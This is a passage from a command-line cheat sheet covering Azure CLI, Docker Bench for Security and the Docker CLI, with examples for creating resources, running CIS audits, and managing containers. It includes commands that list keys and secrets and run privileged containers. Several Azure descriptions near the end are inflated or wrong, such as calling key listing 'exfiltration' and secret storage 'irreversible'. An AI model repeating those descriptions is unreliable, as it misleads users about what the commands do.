certificate create ``` Example: ```bash az keyvault certificate create --vault-name MyKeyVault --name MyCert --policy "$(az keyvault certificate get-default-policy)" ``` Creates a self-signed certificate inside Key Vault. ### az keyvault key create ```bash az keyvault key create ``` Example: ```bash az keyvault key create --vault-name MyKeyVault --name MyKey --kty RSA ``` Creates a cryptographic key in Key Vault. ### az network firewall create ```bash az network firewall create ``` Example: ```bash az network firewall create --name MyFirewall --resource-group MyRG --location eastus ``` Creates an Azure Firewall resource. ### az network firewall network-rule create ```bash az network firewall network-rule create ``` Example: ```bash az network firewall network-rule create --firewall-name MyFirewall --collection-name MyRuleCollection --name AllowDNS --protocols UDP --source-addresses * --destination-addresses * --destination-ports 53 --action Allow --priority 100 --resource-group MyRG ``` Adds a network rule to the Azure Firewall. ## Hybrid Management ### az arcappliance list ```bash az arcappliance list ``` Example: ```bash az arcappliance list --resource-group MyRG ``` Lists Azure Arc appliances for hybrid cloud management. ## IoT ### az iot hub create ```bash az iot hub create ``` Example: ```bash az iot hub create --resource-group MyRG --name MyIoTHub --sku S1 ``` Creates an IoT Hub for device management. ### az iot hub device-identity list ```bash az iot hub device-identity list ``` Example: ```bash az iot hub device-identity list --hub-name MyIoTHub ``` Lists devices registered to an IoT Hub. ## Logic Apps ### az logic workflow create ```bash az logic workflow create ``` Example: ```bash az logic workflow create --resource-group MyRG --location eastus --name MyWorkflow --definition definition.json ``` Creates a Logic App workflow from a JSON definition. ## Container Instances ### az container create ```bash az container create ``` Example: ```bash az container create --resource-group MyRG --name MyContainer --image nginx --dns-name-label mynginx --ports 80 ``` Creates a single container instance (ACI) accessible via a public IP. ### az container logs ```bash az container logs ``` Example: ```bash az container logs --resource-group MyRG --name MyContainer ``` Retrieves logs from a container instance. ## Global Traffic ### az network traffic-manager profile create ```bash az network traffic-manager profile create ``` Example: ```bash az network traffic-manager profile create --resource-group MyRG --name MyTMProfile --routing-method Priority --unique-dns-name myapp-tm ``` Creates a Traffic Manager profile for global DNS load balancing. ### az network front-door create ```bash az network front-door create ``` Example: ```bash az network front-door create --resource-group MyRG --name MyFrontDoor --backend-address www.example.com ``` Creates an Azure Front Door for global web traffic acceleration. ## Operational Hygiene ### az resource list (Orphans) ```bash az resource list (Orphans) ``` Example: ```bash az resource list --query "[?managedBy==null]" ``` Lists resources that are not managed by another resource (potential orphans). ### az monitor log-analytics workspace list ```bash az monitor log-analytics workspace list ``` Lists Log Analytics workspaces used for log aggregation. ### az monitor autoscale setting list ```bash az monitor autoscale setting list ``` Example: ```bash az monitor autoscale setting list --resource-group MyRG ``` Lists autoscale settings configured for resources. ## Advanced Identity ### az ad sp credential list ```bash az ad sp credential list ``` Example: ```bash az ad sp credential list --id ``` Lists the credentials (passwords/certs) associated with a service principal. ### az ad app list ```bash az ad app list ``` Example: ```bash az ad app list --display-name MyApp ``` Lists App Registrations in Azure AD. ## Diagnostics ### az network watcher troubleshooting start ```bash az network watcher troubleshooting start ``` Example: ```bash az network watcher troubleshooting start --resource-group MyRG --resource --storage-account --storage-path ``` Starts a troubleshooting session on a VPN Gateway or Connection. ### az webapp log tail ```bash az webapp log tail ``` Example: ```bash az webapp log tail --resource-group MyRG --name MyWebApp ``` Streams live logs from a Web App to the console. ## Batch Processing ### az batch account create ```bash az batch account create ``` Example: ```bash az batch account create --resource-group MyRG --name mybatch --location eastus ``` Creates an Azure Batch account for large-scale parallel computing. ## Cognitive Services ### az cognitiveservices account create ```bash az cognitiveservices account create ``` Example: ```bash az cognitiveservices account create --name MyCognitive --resource-group MyRG --kind Face --sku S0 --location eastus ``` Creates a Cognitive Services account. ## SignalR ### az signalr create ```bash az signalr create ``` Example: ```bash az signalr create --name MySignalR --resource-group MyRG --sku Standard_S1 ``` Creates a SignalR Service for real-time web functionality. ## Redis Cache ### az redis create ```bash az redis create ``` Example: ```bash az redis create --name MyRedis --resource-group MyRG --location eastus --sku Basic --vm-size c0 ``` Creates a Redis Cache instance. ## Private Networking ### az network private-endpoint create ```bash az network private-endpoint create ``` Example: ```bash az network private-endpoint create --name MyPE --resource-group MyRG --vnet-name MyVNet --subnet MySubnet --private-connection-resource-id --group-id blob --connection-name MyConnection ``` Creates a private endpoint to securely connect to PaaS services. ### az network private-dns zone create ```bash az network private-dns zone create ``` Example: ```bash az network private-dns zone create --resource-group MyRG --name privatelink.blob.core.windows.net ``` Creates a private DNS zone for resolving private endpoint IPs. ### az network private-dns link vnet create ```bash az network private-dns link vnet create ``` Example: ```bash az network private-dns link vnet create --resource-group MyRG --zone-name privatelink.blob.core.windows.net --name MyLink --virtual-network MyVNet --registration-enabled false ``` Links a private DNS zone to a virtual network. ## CDN ### az cdn profile create ```bash az cdn profile create ``` Example: ```bash az cdn profile create --resource-group MyRG --name MyCDNProfile --sku Standard_Akamai ``` Creates a Content Delivery Network profile. ## Service Bus ### az servicebus namespace create ```bash az servicebus namespace create ``` Example: ```bash az servicebus namespace create --resource-group MyRG --name MySBNamespace --sku Standard ``` Creates a Service Bus namespace for enterprise messaging. ### az servicebus queue create ```bash az servicebus queue create ``` Example: ```bash az servicebus queue create --resource-group MyRG --namespace-name MySBNamespace --name MyQueue ``` Creates a queue within a Service Bus namespace. ## Kusto (Data Explorer) ### az kusto cluster create ```bash az kusto cluster create ``` Example: ```bash az kusto cluster create --resource-group MyRG --name MyKustoCluster --sku name=Standard_D13_v2 tier=Standard ``` Creates an Azure Data Explorer cluster. ## Bot Service ### az bot create ```bash az bot create ``` Example: ```bash az bot create --resource-group MyRG --name MyBot --kind WebApp --appid --password ``` Creates a Bot Service registration. ## Blueprint ### az blueprint create ```bash az blueprint create ``` Example: ```bash az blueprint create --name MyBlueprint --target-scope subscription ``` Creates a blueprint definition for governance. ## Synapse Analytics ### az synapse workspace create ```bash az synapse workspace create ``` Example: ```bash az synapse workspace create --name MySynapse --resource-group MyRG --storage-account mystorageacct --file-system myfilesystem --sql-admin-login-user adminuser ``` Creates a Synapse Analytics workspace. ## Advanced Security (Defender) ### az security pricing list ```bash az security pricing list ``` Lists the pricing tiers for Microsoft Defender for Cloud bundles. ## Recovery Services ### az backup vault create ```bash az backup vault create ``` Example: ```bash az backup vault create --resource-group MyRG --name MyRecoveryVault --location eastus ``` Creates a Recovery Services vault for backups. ### az backup protection enable-for-vm ```bash az backup protection enable-for-vm ``` Example: ```bash az backup protection enable-for-vm --resource-group MyRG --vault-name MyRecoveryVault --vm --policy-name DefaultPolicy ``` Enables backup for a virtual machine. ## Blue Team (Subscriptions) ### az account management-group list ```bash az account management-group list ``` Lists management groups to understand the organization hierarchy. ## Cleanup ### az resource delete ```bash az resource delete ``` Example: ```bash az resource delete --ids ``` Deletes a specific resource by its ID. ### az group delete ```bash az group delete ``` Example: ```bash az group delete --name MyResourceGroup --yes --no-wait ``` Deletes a resource group and all contained resources asynchronously. ### az ad app delete ```bash az ad app delete ``` Example: ```bash az ad app delete --id ``` Deletes an application registration from Azure AD. ### az keyvault delete ```bash az keyvault delete ``` Example: ```bash az keyvault delete --name MyKeyVault ``` Deletes a Key Vault (moves to soft-deleted state). ### az keyvault purge ```bash az keyvault purge ``` Example: ```bash az keyvault purge --name MyKeyVault ``` Permanently purges a soft-deleted Key Vault. ## Azure Functions (Serverless) ### az functionapp create ```bash az functionapp create ``` Example: ```bash az functionapp create --resource-group myRG --consumption-plan-location westus --runtime node ``` Boots dynamic isolated serverless algorithmic workers bridging AppService endpoints natively. ### az functionapp keys list ```bash az functionapp keys list ``` Example: ```bash az functionapp keys list --name myFunc --resource-group myRG ``` Exfiltrates the mandatory authorization connection strings fundamentally required to execute an HTTP-bound function. ## Cosmos DB ### az cosmosdb database create ```bash az cosmosdb database create ``` Example: ```bash az cosmosdb database create --account-name myCosmos --name coreDB --resource-group myRG ``` Instantiates globally replicated logic cores strictly optimized for massive globally asynchronous operations. ### az cosmosdb keys list ```bash az cosmosdb keys list ``` Example: ```bash az cosmosdb keys list --name myCosmos --resource-group myRG ``` Decrypts and reveals the raw Read/Write master cryptographic passcodes governing universal database interconnectivity. ## Container Registry (ACR) ### az acr login ```bash az acr login ``` Example: ```bash az acr login --name myAcrRegistry ``` Injects native Azure AAD authentication logic directly into your local Docker daemon enabling immediate secure push/pull workflows. ### az acr repository delete ```bash az acr repository delete ``` Example: ```bash az acr repository delete --name myAcr --image myApp:v1 ``` Surgically excises compromised or bloated legacy Docker blobs natively restoring Azure bandwidth limits. ## Key Vault (Security) ### az keyvault secret set ```bash az keyvault secret set ``` Example: ```bash az keyvault secret set --vault-name myKeys --name 'db-password' --value 'SuperSecret123!' ``` Ingests raw unencrypted values encrypting them irreversibly within Azure's HSM arrays locking them onto specific app configurations. ### az keyvault secret show ```bash az keyvault secret show ``` Example: ```bash az keyvault secret show --vault-name myKeys --name 'db-password' --query value ``` Decrypts explicitly requested secured strings into plaintext, dropping outputs strictly to the local CLI. ## Logic Apps ### az logic workflow show ```bash az logic workflow show ``` Example: ```bash az logic workflow show --resource-group rg --name myWorkflow ``` Extrapolates full automation configuration trees evaluating structural pipeline integrations. ## Cost Management ### az consumption usage list ```bash az consumption usage list ``` Example: ```bash az consumption usage list --start-date 2023-01-01 --end-date 2023-01-31 ``` Forces Microsoft billing API extractions bypassing graphical dashboards delivering raw transactional utilization metrics. ## Related tools - [AWS CLI](https://terminal.rokibulroni.com/tool/cloud/awscli) - [Google Cloud CLI](https://terminal.rokibulroni.com/tool/cloud/gcloud) # Tool: Docker Bench for Security > A script that checks a Docker host against dozens of CIS Docker Benchmark best practices for production deployments. - Category: Cloud - Commands: 50 - Page: https://terminal.rokibulroni.com/tool/cloud/docker-bench-security - Homepage: https://github.com/docker/docker-bench-security - Documentation: https://github.com/docker/docker-bench-security#running-docker-bench-for-security - Tags: Docker, CIS benchmark, hardening ## Install - other: `git clone https://github.com/docker/docker-bench-security.git && cd docker-bench-security && sudo sh docker-bench-security.sh` ## Basic Execution ### sudo ./docker-bench-security.sh ```bash sudo ./docker-bench-security.sh ``` Executes the full CIS Docker Benchmark audit script against the local host using default settings. ### docker run --rm --net host --pid host --userns host --cap-add audit_control -v /etc:/etc:ro -v /var/lib:/var/lib:ro -v / ```bash docker run --rm --net host --pid host --userns host --cap-add audit_control -v /etc:/etc:ro -v /var/lib:/var/lib:ro -v /var/run/docker.sock:/var/run/docker.sock:ro --label docker_bench_security docker/docker-bench-security ``` Runs Docker Bench for Security from a container with necessary volume mounts and privileges to audit the host. ### sudo ./docker-bench-security.sh -h ```bash sudo ./docker-bench-security.sh -h ``` Displays the help menu listing all available flags and execution options. ## Output and Reporting ### sudo ./docker-bench-security.sh -l ```bash sudo ./docker-bench-security.sh -l ``` Example: ```bash sudo ./docker-bench-security.sh -l my-audit-log ``` Runs the benchmark and saves the output to a specified log file in the current directory. ### sudo ./docker-bench-security.sh -p ```bash sudo ./docker-bench-security.sh -p ``` Prevents the script from writing any log files to disk, outputting only to stdout. ## Host and Daemon Configuration ### sudo ./docker-bench-security.sh -c host_configuration ```bash sudo ./docker-bench-security.sh -c host_configuration ``` Limits the audit strictly to Section 1: Host Configuration checks. ### sudo ./docker-bench-security.sh -c docker_daemon_configuration ```bash sudo ./docker-bench-security.sh -c docker_daemon_configuration ``` Limits the audit strictly to Section 2: Docker Daemon Configuration checks. ### sudo ./docker-bench-security.sh -c docker_daemon_configuration_files ```bash sudo ./docker-bench-security.sh -c docker_daemon_configuration_files ``` Limits the audit strictly to Section 3: Docker Daemon Configuration Files checks. ## Image and Build Configuration ### sudo ./docker-bench-security.sh -c container_images ```bash sudo ./docker-bench-security.sh -c container_images ``` Limits the audit strictly to Section 4: Container Images and Build File checks. ## Container and Runtime Security ### sudo ./docker-bench-security.sh -c container_runtime ```bash sudo ./docker-bench-security.sh -c container_runtime ``` Limits the audit strictly to Section 5: Container Runtime checks. ### sudo ./docker-bench-security.sh -c docker_security_operations ```bash sudo ./docker-bench-security.sh -c docker_security_operations ``` Limits the audit strictly to Section 6: Docker Security Operations checks. ### sudo ./docker-bench-security.sh -c docker_swarm_configuration ```bash sudo ./docker-bench-security.sh -c docker_swarm_configuration ``` Limits the audit strictly to Section 7: Docker Swarm Configuration checks. ## Specific Check Targeting ### sudo ./docker-bench-security.sh -c check_1.1 ```bash sudo ./docker-bench-security.sh -c check_1.1 ``` Runs only the specific check 1.1 regarding Linux Kernel Capabilities. ### sudo ./docker-bench-security.sh -c check_2.1,check_2.2 ```bash sudo ./docker-bench-security.sh -c check_2.1,check_2.2 ``` Runs a comma-separated list of specific checks, ignoring all others. ## Excluding Checks ### sudo ./docker-bench-security.sh -e check_2.6 ```bash sudo ./docker-bench-security.sh -e check_2.6 ``` Runs the full benchmark but explicitly excludes check 2.6 (TLS authentication). ### sudo ./docker-bench-security.sh -e check_4.5,check_5.1 ```bash sudo ./docker-bench-security.sh -e check_4.5,check_5.1 ``` Runs the full benchmark while excluding multiple specific checks defined by a comma-separated list. ### sudo ./docker-bench-security.sh -e docker_swarm_configuration ```bash sudo ./docker-bench-security.sh -e docker_swarm_configuration ``` Runs the full benchmark but skips the entire Docker Swarm Configuration section. ## Image Filter ### sudo ./docker-bench-security.sh -t ```bash sudo ./docker-bench-security.sh -t ``` Example: ```bash sudo ./docker-bench-security.sh -t postgres ``` Limits the container image checks to only images matching the specified tag. ## Output and Reporting ### sudo ./docker-bench-security.sh -j ```bash sudo ./docker-bench-security.sh -j ``` Outputs the audit results in JSON format to the console for parsing. ### sudo ./docker-bench-security.sh -j -l output.json ```bash sudo ./docker-bench-security.sh -j -l output.json ``` Runs the benchmark and saves the results in JSON format to a specific file. ## Container Execution Variants ### docker run --rm --net host --pid host --userns host --cap-add audit_control -v /etc:/etc:ro -v /var/lib:/var/lib:ro -v / ```bash docker run --rm --net host --pid host --userns host --cap-add audit_control -v /etc:/etc:ro -v /var/lib:/var/lib:ro -v /var/run/docker.sock:/var/run/docker.sock:ro --label docker_bench_security docker/docker-bench-security -c host_configuration ``` Runs only the host configuration checks using the containerized version of the tool. ### docker run --rm --net host --pid host --userns host --cap-add audit_control -v /etc:/etc:ro -v /var/lib:/var/lib:ro -v / ```bash docker run --rm --net host --pid host --userns host --cap-add audit_control -v /etc:/etc:ro -v /var/lib:/var/lib:ro -v /var/run/docker.sock:/var/run/docker.sock:ro --label docker_bench_security docker/docker-bench-security -e check_1.1 ``` Runs the containerized benchmark excluding specific kernel capability checks. ## Environment Configuration ### export DOCKER_CONTENT_TRUST=1 && sudo ./docker-bench-security.sh ```bash export DOCKER_CONTENT_TRUST=1 && sudo ./docker-bench-security.sh ``` Enables Docker Content Trust in the shell before running the benchmark to satisfy DCT checks. ### sudo -E ./docker-bench-security.sh ```bash sudo -E ./docker-bench-security.sh ``` Preserves existing environment variables (like proxy settings) when running the script as root. ## Logging and Auditing ### sudo ./docker-bench-security.sh -c check_1.2.1 ```bash sudo ./docker-bench-security.sh -c check_1.2.1 ``` Validates specifically if a separate partition for containers has been created. ### sudo ./docker-bench-security.sh -c check_2.12 ```bash sudo ./docker-bench-security.sh -c check_2.12 ``` Checks specifically if centralized and remote logging is configured for the Docker daemon. ## Access Control ### sudo ./docker-bench-security.sh -c check_2.13 ```bash sudo ./docker-bench-security.sh -c check_2.13 ``` Verifies that the Docker daemon performs live restoration to reduce downtime. ### sudo ./docker-bench-security.sh -c check_3.1,check_3.2 ```bash sudo ./docker-bench-security.sh -c check_3.1,check_3.2 ``` Audits the ownership and permissions of the docker.service and docker.socket files. ## Automation and Pipeline ### sudo ./docker-bench-security.sh -j | jq . ```bash sudo ./docker-bench-security.sh -j | jq . ``` Pipes the JSON output to jq for immediate formatted validation in a terminal. ### sudo ./docker-bench-security.sh -j > docker-bench-results.json ```bash sudo ./docker-bench-security.sh -j > docker-bench-results.json ``` Redirects JSON output to a file for ingestion by SIEM or dashboard tools. ## Advanced Filtering ### sudo ./docker-bench-security.sh -c host_configuration,container_runtime -e check_1.2 ```bash sudo ./docker-bench-security.sh -c host_configuration,container_runtime -e check_1.2 ``` Combines inclusion and exclusion flags to audit host and runtime sections but skip disk partition checks. ### sudo ./docker-bench-security.sh -c check_4.1 -t production_image ```bash sudo ./docker-bench-security.sh -c check_4.1 -t production_image ``` Checks user creation within containers only for images tagged 'production_image'. ## Cloud Posture ### sudo ./docker-bench-security.sh -c check_2.4 ```bash sudo ./docker-bench-security.sh -c check_2.4 ``` Verifies that insecure registries are not allowed in the daemon configuration. ### sudo ./docker-bench-security.sh -c check_2.11 ```bash sudo ./docker-bench-security.sh -c check_2.11 ``` Ensures that Userland Proxy is disabled if hairpin NAT is available. ## Blue Team Validation ### sudo ./docker-bench-security.sh -c check_5.10 ```bash sudo ./docker-bench-security.sh -c check_5.10 ``` Verifies that memory usage limits are set for containers to prevent DoS attacks. ### sudo ./docker-bench-security.sh -c check_5.11 ```bash sudo ./docker-bench-security.sh -c check_5.11 ``` Verifies that CPU priority is set appropriately for containers. ### sudo ./docker-bench-security.sh -c check_5.12 ```bash sudo ./docker-bench-security.sh -c check_5.12 ``` Ensures the container's root filesystem is mounted as read-only. ### sudo ./docker-bench-security.sh -c check_5.31 ```bash sudo ./docker-bench-security.sh -c check_5.31 ``` Checks that the docker socket is not mounted inside any container. ## Compliance Auditing ### sudo ./docker-bench-security.sh -l /var/log/audit/docker_compliance_$(date +%F).log ```bash sudo ./docker-bench-security.sh -l /var/log/audit/docker_compliance_$(date +%F).log ``` Generates a timestamped compliance log file in a dedicated audit directory. ## Incident Response ### sudo ./docker-bench-security.sh -c check_5.25 ```bash sudo ./docker-bench-security.sh -c check_5.25 ``` Checks if container health checks are configured to detect compromised or stalled services. ### sudo ./docker-bench-security.sh -c check_2.15 ```bash sudo ./docker-bench-security.sh -c check_2.15 ``` Validates that User Namespace Remapping is enabled to mitigate privilege escalation attacks. ## Advanced Container Runtime ### docker run --rm --net host --pid host --userns host --cap-add audit_control -v /etc:/etc:ro -v /var/lib:/var/lib:ro -v / ```bash docker run --rm --net host --pid host --userns host --cap-add audit_control -v /etc:/etc:ro -v /var/lib:/var/lib:ro -v /var/run/docker.sock:/var/run/docker.sock:ro --label docker_bench_security docker/docker-bench-security -j > report.json ``` Runs the containerized audit in a pipeline and saves JSON output to the host. ## CI/CD Integration ### sh -c 'sudo ./docker-bench-security.sh -j' | grep -q '"Warn": 0' ```bash sh -c 'sudo ./docker-bench-security.sh -j' | grep -q '"Warn": 0' ``` Pipeline check that fails if any warnings are detected in the JSON output. ### sh -c 'sudo ./docker-bench-security.sh -j' | grep -q '"Fail": 0' ```bash sh -c 'sudo ./docker-bench-security.sh -j' | grep -q '"Fail": 0' ``` Pipeline check that fails if any hard failures are detected in the JSON output. ## Advanced Customization ### sudo ./docker-bench-security.sh -b -l custom.log -c container_images -e check_4.6 ```bash sudo ./docker-bench-security.sh -b -l custom.log -c container_images -e check_4.6 ``` Runs a customized audit on images, logging to a file, excluding health check validation. ## Legacy Compatibility ### sudo ./docker-bench-security.sh -c 1,2,3 ```bash sudo ./docker-bench-security.sh -c 1,2,3 ``` Runs checks for sections 1, 2, and 3 using the older comma-separated integer syntax. ## Docker Rootless ### docker-bench-security.sh ```bash docker-bench-security.sh ``` Attempts to run the script without sudo, useful for verifying rootless docker configurations. ## Network Security ### sudo ./docker-bench-security.sh -c check_5.9 ```bash sudo ./docker-bench-security.sh -c check_5.9 ``` Checks if the container's network bridge is set to the default docker0. ### sudo ./docker-bench-security.sh -c check_2.6 ```bash sudo ./docker-bench-security.sh -c check_2.6 ``` Verifies that TLS authentication is configured for the Docker daemon. ## Cleanup ### rm docker-bench-security.log.json ```bash rm docker-bench-security.log.json ``` Removes the default JSON log file generated by the tool after audit completion. ## Related tools - [Docker](https://terminal.rokibulroni.com/tool/cloud/docker) - [kube-bench](https://terminal.rokibulroni.com/tool/cloud/kube-bench) - [Trivy](https://terminal.rokibulroni.com/tool/containers/trivy) # Tool: Docker > The Docker CLI: build, run and inspect containers and images, and audit their configuration, mounts, capabilities and networks. - Category: Cloud - Commands: 140 - Page: https://terminal.rokibulroni.com/tool/cloud/docker - Homepage: https://www.docker.com - Documentation: https://docs.docker.com/reference/cli/docker/ - Tags: containers, images ## Install - apt: `sudo apt install docker.io` - brew: `brew install --cask docker` - windows: `winget install Docker.DockerDesktop` ## Basic Setup and Verification ### docker --version ```bash docker --version ``` Outputs the installed Docker CLI version to verify installation ### docker version ```bash docker version ``` Displays detailed version information for both Docker Client and Server ### docker info ```bash docker info ``` Shows system-wide information including kernel version, storage driver, and container counts ### docker help ```bash docker help ``` Lists all available commands and global options for the Docker CLI ### docker login ```bash docker login ``` Example: ```bash docker login registry.example.com ``` Authenticates the Docker client against a container registry ## Image Management ### docker search ```bash docker search ``` Example: ```bash docker search nginx --limit 5 ``` Searches Docker Hub for public images with an optional limit ### docker pull ```bash docker pull ``` Example: ```bash docker pull alpine:latest ``` Downloads a specific image tag from a registry to the local cache ### docker images ```bash docker images ``` Lists all top-level images currently stored locally ### docker image ls -a ```bash docker image ls -a ``` Lists all local images including intermediate image layers ### docker tag ```bash docker tag ``` Example: ```bash docker tag nginx:latest myrepo/nginx:v1 ``` Creates a new tag for an existing local image ### docker push ```bash docker push ``` Example: ```bash docker push myrepo/nginx:v1 ``` Uploads a locally tagged image to a remote registry ### docker rmi ```bash docker rmi ``` Example: ```bash docker rmi alpine:latest ``` Removes one or more images from the local storage ### docker rmi -f ```bash docker rmi -f ``` Example: ```bash docker rmi -f alpine:latest ``` Forces the removal of an image even if containers are using it ### docker image prune ```bash docker image prune ``` Example: ```bash docker image prune -a ``` Removes all unused images, not just dangling ones ### docker history ```bash docker history ``` Example: ```bash docker history nginx:latest ``` Shows the history of layers and commands used to build an image ### docker save ```bash docker save ``` Example: ```bash docker save -o myimage.tar nginx:latest ``` Exports an image to a tar archive for offline transfer ### docker load ```bash docker load ``` Example: ```bash docker load -i myimage.tar ``` Loads an image from a tar archive into the local docker engine ## Container Lifecycle ### docker create ```bash docker create ``` Example: ```bash docker create --name webserver nginx ``` Creates a new container layer but does not start it ### docker start ```bash docker start ``` Example: ```bash docker start webserver ``` Starts one or more stopped containers ### docker run -it ```bash docker run -it ``` Example: ```bash docker run -it ubuntu /bin/bash ``` Creates and starts a container in interactive mode with a TTY ### docker run -d ```bash docker run -d ``` Example: ```bash docker run -d nginx ``` Runs a container in detached mode in the background ### docker run --rm ```bash docker run --rm ``` Example: ```bash docker run --rm alpine echo 'hello' ``` Runs a container that automatically removes itself upon exit ### docker ps ```bash docker ps ``` Lists currently running containers ### docker ps -a ```bash docker ps -a ``` Lists all containers including stopped ones ### docker stop ```bash docker stop ``` Example: ```bash docker stop webserver ``` Gracefully stops a running container by sending SIGTERM ### docker kill ```bash docker kill ``` Example: ```bash docker kill webserver ``` Forcibly stops a container by sending SIGKILL ### docker restart ```bash docker restart ``` Example: ```bash docker restart webserver ``` Stops and then immediately starts a container ### docker pause ```bash docker pause ``` Example: ```bash docker pause webserver ``` Pauses all processes within one or more containers ### docker unpause ```bash docker unpause ``` Example: ```bash docker unpause webserver ``` Resumes all processes within one or more paused containers ### docker rm ```bash docker rm ``` Example: ```bash docker rm webserver ``` Removes a stopped container from the system ### docker rm -f ```bash docker rm -f ``` Example: ```bash docker rm -f webserver ``` Forcibly removes a running container ## Container Interaction ### docker exec ```bash docker exec ``` Example: ```bash docker exec -it webserver /bin/bash ``` Runs a new command inside a running container interactively ### docker attach ```bash docker attach ``` Example: ```bash docker attach webserver ``` Attaches local standard input, output, and error to a running container ### docker logs ```bash docker logs ``` Example: ```bash docker logs webserver ``` Fetches the logs of a container ### docker logs -f ```bash docker logs -f ``` Example: ```bash docker logs -f webserver ``` Streams the logs of a container in real-time ### docker cp container to host ```bash docker cp container to host ``` Example: ```bash docker cp webserver:/etc/nginx/nginx.conf ./ ``` Copies a file from a container to the host filesystem ### docker cp host to container ```bash docker cp host to container ``` Example: ```bash docker cp ./index.html webserver:/usr/share/nginx/html/ ``` Copies a file from the host filesystem into a container ## Container Inspection ### docker inspect ```bash docker inspect ``` Example: ```bash docker inspect webserver ``` Returns low-level information on a container or object in JSON format ### docker stats ```bash docker stats ``` Displays a live stream of container resource usage statistics ### docker top ```bash docker top ``` Example: ```bash docker top webserver ``` Display the running processes of a container ### docker diff ```bash docker diff ``` Example: ```bash docker diff webserver ``` Inspects changes to files or directories on a container's filesystem ### docker port ```bash docker port ``` Example: ```bash docker port webserver ``` Lists port mappings for the container ## Networking ### docker network ls ```bash docker network ls ``` Lists all networks created by Docker ### docker network create ```bash docker network create ``` Example: ```bash docker network create --driver bridge my-net ``` Creates a new bridge network for containers to communicate ### docker network inspect ```bash docker network inspect ``` Example: ```bash docker network inspect my-net ``` Displays detailed information about a network ### docker network connect ```bash docker network connect ``` Example: ```bash docker network connect my-net webserver ``` Connects a running container to a network ### docker network disconnect ```bash docker network disconnect ``` Example: ```bash docker network disconnect my-net webserver ``` Disconnects a container from a network ### docker network rm ```bash docker network rm ``` Example: ```bash docker network rm my-net ``` Removes one or more networks ### docker run -p ```bash docker run -p ``` Example: ```bash docker run -d -p 8080:80 nginx ``` Maps host port 8080 to container port 80 ### docker run --network host ```bash docker run --network host ``` Example: ```bash docker run --network host nginx ``` Runs container using the host's networking stack directly ### docker run --dns ```bash docker run --dns ``` Example: ```bash docker run --dns 8.8.8.8 nginx ``` Sets custom DNS servers for the container ## Storage and Volumes ### docker volume ls ```bash docker volume ls ``` Lists all Docker volumes ### docker volume create ```bash docker volume create ``` Example: ```bash docker volume create my-data ``` Creates a new named volume for persistent storage ### docker volume inspect ```bash docker volume inspect ``` Example: ```bash docker volume inspect my-data ``` Displays detailed information about a volume ### docker run -v volume ```bash docker run -v volume ``` Example: ```bash docker run -v my-data:/data nginx ``` Mounts a named volume to a path inside the container ### docker run -v bind ```bash docker run -v bind ``` Example: ```bash docker run -v /host/path:/container/path nginx ``` Binds a host directory to a path inside the container ### docker volume rm ```bash docker volume rm ``` Example: ```bash docker volume rm my-data ``` Removes a Docker volume ### docker volume prune ```bash docker volume prune ``` Removes all unused local volumes ## Building Images ### docker build ```bash docker build ``` Example: ```bash docker build -t myapp:v1 . ``` Builds an image from a Dockerfile in the current directory ### docker build file ```bash docker build file ``` Example: ```bash docker build -f Dockerfile.dev . ``` Builds an image using a specific Dockerfile filename ### docker build no-cache ```bash docker build no-cache ``` Example: ```bash docker build --no-cache -t myapp . ``` Builds an image without using the build cache ### docker build args ```bash docker build args ``` Example: ```bash docker build --build-arg VERSION=1.0 . ``` Passes build-time variables to the Dockerfile ### docker build target ```bash docker build target ``` Example: ```bash docker build --target production . ``` Builds only up to a specific stage in a multi-stage Dockerfile ## System Maintenance ### docker system df ```bash docker system df ``` Show docker disk usage ### docker system prune ```bash docker system prune ``` Example: ```bash docker system prune -f ``` Remove unused data including stopped containers and dangling images ### docker container prune ```bash docker container prune ``` Removes all stopped containers ## Security and Isolation ### docker run --user ```bash docker run --user ``` Example: ```bash docker run --user 1000:1000 alpine whoami ``` Runs the container as a specific non-root user ID and group ID ### docker run --read-only ```bash docker run --read-only ``` Example: ```bash docker run --read-only alpine ``` Mounts the container's root filesystem as read-only ### docker run --cap-drop ```bash docker run --cap-drop ``` Example: ```bash docker run --cap-drop ALL alpine ``` Drops all Linux capabilities from the container for hardening ### docker run --cap-add ```bash docker run --cap-add ``` Example: ```bash docker run --cap-add NET_ADMIN alpine ``` Adds specific Linux capabilities to the container ### docker run --privileged ```bash docker run --privileged ``` Example: ```bash docker run --privileged ubuntu ``` Runs container with full host root capabilities (Use with extreme caution) ### docker run --security-opt ```bash docker run --security-opt ``` Example: ```bash docker run --security-opt no-new-privileges alpine ``` Prevents the container processes from gaining new privileges ## Resource Limits ### docker run --memory ```bash docker run --memory ``` Example: ```bash docker run --memory 512m nginx ``` Limits the memory usage of the container ### docker run --cpus ```bash docker run --cpus ``` Example: ```bash docker run --cpus 0.5 nginx ``` Limits the container to use 50% of a CPU core ### docker run --pids-limit ```bash docker run --pids-limit ``` Example: ```bash docker run --pids-limit 100 alpine ``` Limits the number of processes a container can start ## Advanced Networking ### docker network create overlay ```bash docker network create overlay ``` Example: ```bash docker network create -d overlay swarm-net ``` Creates a multi-host overlay network (requires Swarm mode) ### docker run --mac-address ```bash docker run --mac-address ``` Example: ```bash docker run --mac-address 92:d0:c6:0a:29:33 alpine ``` Sets a static MAC address for the container network interface ### docker run --add-host ```bash docker run --add-host ``` Example: ```bash docker run --add-host db-local:10.0.0.5 alpine ``` Adds a custom entry to the container's /etc/hosts file ## Logging and Debugging ### docker logs --tail ```bash docker logs --tail ``` Example: ```bash docker logs --tail 10 webserver ``` Shows only the last 10 lines of container logs ### docker logs --timestamps ```bash docker logs --timestamps ``` Example: ```bash docker logs --timestamps webserver ``` Adds timestamps to the log output ### docker events ```bash docker events ``` Streams real-time events from the Docker daemon ### docker events filter ```bash docker events filter ``` Example: ```bash docker events --filter 'event=die' ``` Filters system events to show only container termination events ## Advanced Storage ### docker volume create options ```bash docker volume create options ``` Example: ```bash docker volume create --driver local --opt type=tmpfs --opt device=tmpfs foo ``` Creates a volume with specific driver options ### docker run --mount ```bash docker run --mount ``` Example: ```bash docker run --mount type=bind,source=/data,target=/data nginx ``` Uses the explicit mount syntax for clearer bind mounting ### docker run --tmpfs ```bash docker run --tmpfs ``` Example: ```bash docker run --tmpfs /run alpine ``` Mounts a temporary filesystem in memory that is removed when container stops ## Docker Contexts ### docker context ls ```bash docker context ls ``` Lists available Docker contexts for managing multiple endpoints ### docker context create ```bash docker context create ``` Example: ```bash docker context create remote --docker host=ssh://user@remote-host ``` Creates a context to manage a remote Docker daemon via SSH ### docker context use ```bash docker context use ``` Example: ```bash docker context use remote ``` Switches the Docker CLI to operate against a specific context ## Docker Compose Integration ### docker compose up ```bash docker compose up ``` 